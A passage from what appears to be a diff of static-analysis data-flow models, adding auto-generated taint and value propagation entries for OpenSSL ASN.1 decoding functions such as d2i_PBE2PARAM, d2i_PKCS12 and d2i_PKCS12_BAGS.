"Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OTHERNAME", "(OTHERNAME **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PBE2PARAM", "(PBE2PARAM **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PBE2PARAM", "(PBE2PARAM **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PBE2PARAM", "(PBE2PARAM **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PBE2PARAM", "(PBE2PARAM **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PBE2PARAM", "(PBE2PARAM **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PBE2PARAM", "(PBE2PARAM **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PBE2PARAM", "(PBE2PARAM **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PBE2PARAM", "(PBE2PARAM **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PBE2PARAM", "(PBE2PARAM **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PBE2PARAM", "(PBE2PARAM **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PBE2PARAM", "(PBE2PARAM **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PBE2PARAM", "(PBE2PARAM **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PBE2PARAM", "(PBE2PARAM **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PBE2PARAM", "(PBE2PARAM **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PBE2PARAM", "(PBE2PARAM **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PBE2PARAM", "(PBE2PARAM **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PBE2PARAM", "(PBE2PARAM **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PBE2PARAM", "(PBE2PARAM **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PBE2PARAM", "(PBE2PARAM **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PBE2PARAM", "(PBE2PARAM **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PBE2PARAM", "(PBE2PARAM **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PBE2PARAM", "(PBE2PARAM **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PBE2PARAM", "(PBE2PARAM **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PBE2PARAM", "(PBE2PARAM **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PBE2PARAM", "(PBE2PARAM **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PBE2PARAM", "(PBE2PARAM **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PBE2PARAM", "(PBE2PARAM **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PBE2PARAM", "(PBE2PARAM **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PBE2PARAM", "(PBE2PARAM **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PBE2PARAM", "(PBE2PARAM **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PBE2PARAM", "(PBE2PARAM **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PBE2PARAM", "(PBE2PARAM **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PBEPARAM", "(PBEPARAM **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PBEPARAM", "(PBEPARAM **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PBEPARAM", "(PBEPARAM **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PBEPARAM", "(PBEPARAM **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PBEPARAM", "(PBEPARAM **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PBEPARAM", "(PBEPARAM **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PBEPARAM", "(PBEPARAM **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PBEPARAM", "(PBEPARAM **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PBEPARAM", "(PBEPARAM **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PBEPARAM", "(PBEPARAM **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PBEPARAM", "(PBEPARAM **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PBEPARAM", "(PBEPARAM **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PBEPARAM", "(PBEPARAM **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PBEPARAM", "(PBEPARAM **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PBEPARAM", "(PBEPARAM **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PBEPARAM", "(PBEPARAM **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PBEPARAM", "(PBEPARAM **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PBEPARAM", "(PBEPARAM **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PBEPARAM", "(PBEPARAM **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PBEPARAM", "(PBEPARAM **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PBEPARAM", "(PBEPARAM **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PBEPARAM", "(PBEPARAM **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PBEPARAM", "(PBEPARAM **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PBEPARAM", "(PBEPARAM **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PBEPARAM", "(PBEPARAM **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PBEPARAM", "(PBEPARAM **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PBEPARAM", "(PBEPARAM **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PBEPARAM", "(PBEPARAM **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PBEPARAM", "(PBEPARAM **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PBEPARAM", "(PBEPARAM **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PBEPARAM", "(PBEPARAM **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PBEPARAM", "(PBEPARAM **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PBKDF2PARAM", "(PBKDF2PARAM **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PBKDF2PARAM", "(PBKDF2PARAM **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PBKDF2PARAM", "(PBKDF2PARAM **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PBKDF2PARAM", "(PBKDF2PARAM **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PBKDF2PARAM", "(PBKDF2PARAM **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PBKDF2PARAM", "(PBKDF2PARAM **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PBKDF2PARAM", "(PBKDF2PARAM **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PBKDF2PARAM", "(PBKDF2PARAM **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PBKDF2PARAM", "(PBKDF2PARAM **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PBKDF2PARAM", "(PBKDF2PARAM **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PBKDF2PARAM", "(PBKDF2PARAM **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PBKDF2PARAM", "(PBKDF2PARAM **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PBKDF2PARAM", "(PBKDF2PARAM **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PBKDF2PARAM", "(PBKDF2PARAM **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PBKDF2PARAM", "(PBKDF2PARAM **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PBKDF2PARAM", "(PBKDF2PARAM **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PBKDF2PARAM", "(PBKDF2PARAM **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PBKDF2PARAM", "(PBKDF2PARAM **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PBKDF2PARAM", "(PBKDF2PARAM **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PBKDF2PARAM", "(PBKDF2PARAM **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PBKDF2PARAM", "(PBKDF2PARAM **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PBKDF2PARAM", "(PBKDF2PARAM **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PBKDF2PARAM", "(PBKDF2PARAM **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PBKDF2PARAM", "(PBKDF2PARAM **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PBKDF2PARAM", "(PBKDF2PARAM **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PBKDF2PARAM", "(PBKDF2PARAM **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PBKDF2PARAM", "(PBKDF2PARAM **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PBKDF2PARAM", "(PBKDF2PARAM **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PBKDF2PARAM", "(PBKDF2PARAM **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PBKDF2PARAM", "(PBKDF2PARAM **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PBKDF2PARAM", "(PBKDF2PARAM **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PBKDF2PARAM", "(PBKDF2PARAM **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PBMAC1PARAM", "(PBMAC1PARAM **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PBMAC1PARAM", "(PBMAC1PARAM **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PBMAC1PARAM", "(PBMAC1PARAM **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PBMAC1PARAM", "(PBMAC1PARAM **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PBMAC1PARAM", "(PBMAC1PARAM **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PBMAC1PARAM", "(PBMAC1PARAM **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PBMAC1PARAM", "(PBMAC1PARAM **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PBMAC1PARAM", "(PBMAC1PARAM **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PBMAC1PARAM", "(PBMAC1PARAM **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PBMAC1PARAM", "(PBMAC1PARAM **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PBMAC1PARAM", "(PBMAC1PARAM **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PBMAC1PARAM", "(PBMAC1PARAM **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PBMAC1PARAM", "(PBMAC1PARAM **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PBMAC1PARAM", "(PBMAC1PARAM **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PBMAC1PARAM", "(PBMAC1PARAM **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PBMAC1PARAM", "(PBMAC1PARAM **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PBMAC1PARAM", "(PBMAC1PARAM **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PBMAC1PARAM", "(PBMAC1PARAM **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PBMAC1PARAM", "(PBMAC1PARAM **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PBMAC1PARAM", "(PBMAC1PARAM **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PBMAC1PARAM", "(PBMAC1PARAM **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PBMAC1PARAM", "(PBMAC1PARAM **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PBMAC1PARAM", "(PBMAC1PARAM **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PBMAC1PARAM", "(PBMAC1PARAM **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PBMAC1PARAM", "(PBMAC1PARAM **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PBMAC1PARAM", "(PBMAC1PARAM **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PBMAC1PARAM", "(PBMAC1PARAM **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PBMAC1PARAM", "(PBMAC1PARAM **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PBMAC1PARAM", "(PBMAC1PARAM **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PBMAC1PARAM", "(PBMAC1PARAM **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PBMAC1PARAM", "(PBMAC1PARAM **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PBMAC1PARAM", "(PBMAC1PARAM **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12", "(PKCS12 **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12", "(PKCS12 **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12", "(PKCS12 **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12", "(PKCS12 **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12", "(PKCS12 **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12", "(PKCS12 **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12", "(PKCS12 **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12", "(PKCS12 **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12", "(PKCS12 **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12", "(PKCS12 **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12", "(PKCS12 **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12", "(PKCS12 **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12", "(PKCS12 **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12", "(PKCS12 **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12", "(PKCS12 **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12", "(PKCS12 **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12", "(PKCS12 **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12", "(PKCS12 **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12", "(PKCS12 **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12", "(PKCS12 **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12", "(PKCS12 **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12", "(PKCS12 **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12", "(PKCS12 **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12", "(PKCS12 **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12", "(PKCS12 **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12", "(PKCS12 **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12", "(PKCS12 **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12", "(PKCS12 **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12", "(PKCS12 **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12", "(PKCS12 **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12", "(PKCS12 **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12", "(PKCS12 **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_BAGS", "(PKCS12_BAGS **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_BAGS", "(PKCS12_BAGS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_BAGS", "(PKCS12_BAGS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_BAGS", "(PKCS12_BAGS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_BAGS", "(PKCS12_BAGS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_BAGS", "(PKCS12_BAGS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_BAGS", "(PKCS12_BAGS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_BAGS", "(PKCS12_BAGS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_BAGS", "(PKCS12_BAGS **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_BAGS", "(PKCS12_BAGS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_BAGS", "(PKCS12_BAGS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_BAGS", "(PKCS12_BAGS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_BAGS", "(PKCS12_BAGS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_BAGS", "(PKCS12_BAGS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_BAGS", "(PKCS12_BAGS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_BAGS", "(PKCS12_BAGS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_BAGS", "(PKCS12_BAGS **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_BAGS", "(PKCS12_BAGS **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_BAGS", "(PKCS12_BAGS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_BAGS", "(PKCS12_BAGS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_BAGS", "(PKCS12_BAGS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_BAGS", "(PKCS12_BAGS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_BAGS", "(PKCS12_BAGS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_BAGS", "(PKCS12_BAGS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_BAGS", "(PKCS12_BAGS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_BAGS", "(PKCS12_BAGS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_BAGS", "(PKCS12_BAGS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_BAGS", "(PKCS12_BAGS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_BAGS", "(PKCS12_BAGS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_BAGS", "(PKCS12_BAGS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_BAGS", "(PKCS12_BAGS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_BAGS", "(PKCS12_BAGS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_MAC_DATA", "(PKCS12_MAC_DATA **,const unsigned char **,long)", "", 